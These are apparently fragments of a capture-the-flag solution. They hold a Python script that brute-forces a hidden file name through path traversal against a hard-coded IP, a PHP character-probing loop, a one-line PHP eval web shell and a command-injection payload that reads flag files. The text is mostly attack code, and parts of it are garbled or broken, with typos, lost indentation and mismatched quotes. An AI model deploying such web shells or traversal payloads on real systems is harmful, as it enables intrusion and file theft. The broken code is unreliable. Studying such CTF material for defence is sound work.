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import requests
import string

url="http://47.90.97.18:9999/pic.php?filename=../PATH<</1523686388.png"
re=requests.session()

guess=string.ascii_letters+string.digits
name=""

while(1):
for i in guess:

payload=url.replace('PATH',name+i)

content=re.get(payload).text

if "image error" not in content:
name += i
print (name)
break
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In [16]: runfile('C:/Users/Jerry Zhu/Desktop/untitled2.py’, wdir="C:/Users/Jerry Zhu/Desktop')
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<?php
for ($j=0; $j<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '"1.p"' . chr($j) . chr(%$i);
$tmp = @file_get_contents($url);
if (lempty($tmp)) echo chr($j).chr($i)."\r\n";
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<?php
echo eval($_GET['content']);
?>
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?cmd=foreach (glob("../flag*") as $filename) { echo "$filename => ";var_dump(file_get_contents($filename)); };
3 %flag:
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